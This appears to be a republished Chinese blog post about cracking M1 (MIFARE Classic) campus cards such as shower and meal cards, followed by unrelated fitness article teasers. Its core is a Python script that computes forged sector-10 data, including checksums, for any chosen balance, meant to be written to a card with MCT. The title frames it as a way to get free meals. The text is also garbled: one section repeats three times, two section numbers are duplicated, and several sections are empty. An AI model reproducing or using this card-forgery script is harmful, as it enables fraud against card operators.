破解 M1卡(洗澡卡、开水卡,健身卡,饭卡)等

news/2024/11/22 22:10:46/
M1卡(洗澡卡、开水卡,健身卡,饭卡)破解历程,学会这个今后还怕没饭吃?

又经过了一个寒假的纠结,终于决定入手了ACR122U,只是到手后机器看上去确实感觉比¥180要廉价,看图就明白了:


0×01密钥的获取&可行性分析

??楼上几位大牛的M1卡的密钥破解过程非常详细,我写不出那么细致的文字,就在此略过吧。??




0×02开水卡数据的分析


0×02 洗澡卡数据的分析














0×03 洗澡卡数据的伪造


0×04 交给电脑完成计算
这么坑爹的计算方法要是拿计算器按,再一个个填入MCT,浪费时间不说还容易算错。??
??于是打算交给电脑,自己只会vf(这个貌似帮不到忙),c语言(进行十六进制计算不方便)??
??然后百度了下最近眼熟的python,居然还有hex()函数,哈哈,现学现用啦。??

0×04 交给电脑完成计算

这么坑爹的计算方法要是拿计算器按,再一个个填入MCT,浪费时间不说还容易算错。

于是打算交给电脑,自己只会vf(这个貌似帮不到忙),c语言(进行十六进制计算不方便)

然后百度了下最近眼熟的python,居然还有hex()函数,哈哈,现学现用啦。

0×04 交给电脑完成计算


这么坑爹的计算方法要是拿计算器按,再一个个填入MCT,浪费时间不说还容易算错。


于是打算交给电脑,自己只会vf(这个貌似帮不到忙),c语言(进行十六进制计算不方便)


然后百度了下最近眼熟的python,居然还有hex()函数,哈哈,现学现用啦。


第一次写python,for的用法还不熟,不会直接输出十六进制字符串,大牛们表喷,嘿嘿:


# coding: utf-8
A4 = A7 = A8 = A12 = A14 = "00"; A11 = "02";
a11 = 0x02;
a6 = 0x4b;
IDnM = raw_input("请输入学号与金额(例如:01 200):");
ID = IDnM [0:2];
Money = IDnM [3:]+"00";               #字符   
Decmoney = int(Money,10);             #十进制
Hexmoney = hex(Decmoney);              
a2 = int(Hexmoney[4:6],16);           #十六进制
a3 = int(Hexmoney[2:4],16);           #十六进制
a1 = a2 + a3;
a5 = a1 ^ 0xff;


if a1 > 0xff:                         #A1此时验证是否大于0xFF
  a10 = 0xfe;
  a15 = 0x2ff - a1 - a6 - a10;        #A15校验位
else:                                 #A1此时验证是否小于0xFF
  a10 = 0xec;
  a15 = 0x1ff - a1 - a6 - a10;        #A15校验位


a0 = a2 ^ a3 ^ a6 ^ a10 ^ a11;        #A0校验位
a9 = a10 + a11;
a13 = a9 ^ 0xff;


print ID, "号当前金额为",IDnM [3:],"元";
print "10扇区对应数据为:";
A0 = hex(a0)[len(hex(a0))-2:];
A1 = hex(a1)[len(hex(a1))-2:];
A2 = hex(a2)[len(hex(a2))-2:];
A3 = hex(a3)[len(hex(a3))-2:];
A5 = hex(a5)[len(hex(a5))-2:];
A6 = hex(a6)[len(hex(a6))-2:];
A9 = hex(a9)[len(hex(a9))-2:];
A10 = hex(a10)[len(hex(a10))-2:];
A11 = "02";
A13 = hex(a13)[len(hex(a13))-2:];
A15 = hex(a15)[len(hex(a15))-2:];
data = A0+A1+A2+A3+A4+A5+A6+A7+A8+A9+A10+A11+A12+A13+A14+A15;
data=data.replace("x","0").upper();
print data;


f = open("card.txt","w");              #将数据写入同目录下的data.txt
print >>f,data;
f.close();
raw_input("输入回车键退出");
输入01 600,得到数据





0×05 后记




[作者/坂田银时,来源 Freebuf]




http://www.ppmy.cn/news/460089.html

相关文章

健身房戴什么耳机比较好、最适合健身运动佩戴的耳机推荐

对于每位长期坚持运动的健身人士而言,运动耳机无疑是除了健身器材之外的另一必需装备。运动虽然有益身体健康,但是过程也是相当的枯燥和无聊。不过,如果能有音乐陪伴,那么情况则会好上许多。选择一款适合自己的运动耳机无疑是锦上…

案例 | 海外银发健身平台崛起,华为/小米/OPPO加码居家健身,中老年健身变数几何?

又一超级赛道诞生,谁将摘得“胜利果实”? 正文: “中国正迅速步入老龄化,为何国内几乎没有任何人科普老年人该如何科学、全面、有针对性的运动健身?” 知乎上一则关于老年人运动健身的话题讨论,引来了10万的网友围…

健身房一年关店8000家,逆势盈利的工作室是怎么开的?

(图片来源于网络,侵删) 来源 | 螳螂观察 文 | 易不二 为了不想一辈子打工,一个在传统健身房干了8年的女性教练,揣着30万,在长沙麓谷开了自己的氧动力健身工作室。 二线城市、30万、健身房,在…

为什么健身房的教练都不提倡做仰卧起坐呢?

(题图来自woodgrovesec.moe.edu.sg) 陈柏龄 虎柔/文 如果你去健身房,很多教练都推荐你去练卷腹,而不是仰卧起坐,但是却不和你说为什么,或者只是简单地说因为「卷腹」更有效果。 那么,为什么健身…

《Java黑皮书基础篇第10版》 第17章【笔记】

第十七章 二进制I/O 17.1 引言 文件可以不严谨的分类为文本文件和二进制文件。文本文件指的是可以用文件编辑器进行查看和修改的,二进制文件则不可以使用文本编辑器查看和修改。 例如,Test.java文件储存在文本文件中,因此可以用文本编辑器…

可以给我一份健身攻略吗

当然可以!以下是一份简单的健身攻略: 确定目标:首先确定自己的健身目标,例如减肥、增肌、提高身体素质等。 计划训练:根据自己的目标和时间安排,制定健身计划。包括训练频率、训练时间和训练内容。 选择适合…

办了一张健身卡

身体再不锻炼就要跨掉了,于是办了一张健身卡,花掉了我一笔银子。 让我的胸肌大些吧,让我的肚腩消失吧,让我腿变粗壮些吧,让我的臀丰满坚实吧!最好别人一看:Oh , My, God

如何选择好的健身房管理系统而且还不收费

如何选择好的健身管理系统而且还不收费 “迄今为止,中国健身行业没有好用的健身管理系统CRM商户端。身为健身从业者,需求没有被满足,我很遗憾。三年过去了,我仍然是健身从业者,这个问题依然没有解决,我决定…